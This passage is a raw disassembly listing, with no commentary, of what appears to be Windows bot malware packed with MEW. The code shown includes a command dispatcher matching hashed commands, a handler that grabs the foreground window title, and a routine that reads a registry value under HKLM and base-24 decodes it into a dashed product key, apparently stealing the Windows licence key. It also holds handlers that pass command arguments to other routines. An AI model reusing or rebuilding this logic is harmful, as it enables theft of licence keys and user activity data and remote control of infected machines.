[ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: MEW:0041AE78o ; MEW:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call dword_4171D8 ; GetForegroundWindow push eax call dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset aALSsSCJEKi ; "¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›" lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset dword_418B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DA40 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41EC00 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DA20 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub 